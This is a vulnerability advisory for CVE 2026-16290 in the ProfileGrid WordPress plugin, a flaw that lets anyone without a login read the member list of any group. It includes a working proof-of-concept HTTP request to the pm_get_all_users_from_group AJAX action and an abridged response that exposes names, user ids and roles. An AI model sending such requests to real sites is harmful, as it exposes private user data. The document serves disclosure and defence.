ProfileGrid < 6.0.0.0 – Unauthenticated Group Member List Disclosure via pm_get_all_users_from_group | CVE 2026-16290

Description

The plugin does not perform authorization checks before returning a group's member list, and registers the handler for unauthenticated users, allowing any unauthenticated visitor to disclose the members and their identifiers of any group, including private or closed ones, bypassing the plugin's member-visibility setting.

Proof of Concept

All requests below are sent with no authentication (no cookie, no nonce).

Step 1 - Identify a target group id. Group ids are small sequential integers (the default group is `1`); they are trivially enumerable. In this example group id `2` is a closed "Secret VIP Group" whose member list the administrator has hidden by enabling the plugin's private-profile setting.

Step 2 - Confirm the member list is NOT shown to anonymous visitors on the group page (privacy setting active): loading the page that contains the `[PM_Group id="2"]` shortcode as a logged-out visitor returns no member names.

Step 3 - Retrieve the full roster anonymously through the AJAX endpoint:
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.example
Content-Type: application/x-www-form-urlencoded

action=pm_get_all_users_from_group&gid=2&pagenum=1&limit=10&sortby=latest_first
```
Response (abridged): an HTML member table disclosing every member of group 2 to the unauthenticated caller, including names, user ids, online status and suspension status, together with member management controls:
```html
<table class="pg-group-members">
 ... <td>Alice</td><td>Author</td> ... value="4" ...
 ... <td>Edward</td><td>Editor</td> ... value="5" ...
 ... <td>Sam</td><td>Subscriber</td> ... value="3" ...
 <a ... onclick="pg_edit_blog_popup('member','deactivate_user','5','2')">Suspend</a>
</table>
```

Step 4 - The same endpoint works for any group id by changing `gid`. No `nonce` parameter and no authenticated session are present in any request; the handler returns the roster regardless.